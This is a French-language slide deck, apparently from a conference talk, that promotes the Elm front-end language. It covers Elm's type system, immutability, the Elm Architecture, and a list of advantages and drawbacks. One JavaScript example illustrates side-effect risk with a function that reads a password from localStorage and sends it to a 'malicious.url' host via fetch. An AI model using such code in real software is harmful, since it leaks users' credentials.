Elm : le front-end heureux 😁

@JoGrenat

Remote Mob Programming

On recrute :)

Simplicité

module Main exposing (main)

import Browser
import Html exposing (Html, h1, text)
import Html.Attributes exposing (style)
import Html.Events exposing (onClick)

type alias User =
    { username : String
    , elmPreference : ElmPreference 
    }

type ElmPreference
    = LikeElm String
    | DontLikeElm

main : Html msg
main =
    if userLikeElm you then
        h1 [ style "color" "green" ] [ text (you.username ++ ", you like Elm! 🔥") ]

    else
        h1 [ style "color" "red" ] [ text (you.username ++ ", you don't like Elm?") ]

you : User
you =
    { username = "Jordane"
    , elmPreference = LikeElm "very much"
    }

userLikeElm : User -> Bool
userLikeElm user =
    case user.elmPreference of
        LikeElm _ ->
            True

        DontLikeElm ->
            False
  • npm / yarn
  • Babel
  • webpack
  • React
  • Redux
  • Immutable.js
  • lodash
  • Typescript
  • zod
  • ...
  • Elm

Le compilateur est votre mentor

Versions gérées par le compilateur

1.2.3

Majeure.Mineure.Correctif

Langage statiquement typé

let remoteString = null;
let isLoading = true;
let isOnError = false;
type RemoteString = 
  Loading 
  | Loaded String 
  | OnError Int String
const names = ['Fanny', 'Stéphane', 'Jordane'];
const firstName = names[0];
type Maybe a = 
  Nothing 
  | Just a
  
  
List.head names
-- Just "Fanny"
-- Nothing
const names = [];
const firstName = names[0]; // undefined

Les erreurs apparaissent rapidement

(pas en prod)

Le refactoring est guidé par le compilateur 👍

Programmation Fonctionnelle

const people = ['Fanny', 'Stéphane', 'Jordane', 'Evan'];

doSomething(people);

🤔

people.splice(2, 1, 'Lucien');

people.slice(1, 3);

🤪

Immutabilité

Penser local

function doSomething(people) {
  const password = localStorage.get('password');
  fetch('http://malicious.url?password=' + password);
}

😱

const people = List(['Fanny', 'Stéphane', 'Evan']);

doSomething(people);

Pas d'effets secondaires

Sécurité par design

Charge cognitive

😎

<troll>

</troll>

Pas d'exception au runtime

😍

If it compiles, it works!

The Elm Architecture (TEA)

Cmd Msg

Effets de bord

Runtime

Avantages

  • Très bonne Developer Experience
  • Pas d'exceptions au runtime
  • Super messages d'err
  • Des types surpuissants
  • Excellentes performances
  • Des concepts qui s'exportent

Désavantages

  • Modèle de gouvernance fermé
  • Boilerplate vs Explicite
  • Mindset shift

Slides : bit.ly/elm-frontend-heureux

Un workshop pour commencer

Elm, le front-end heureux

By ereold

Elm, le front-end heureux

  • 674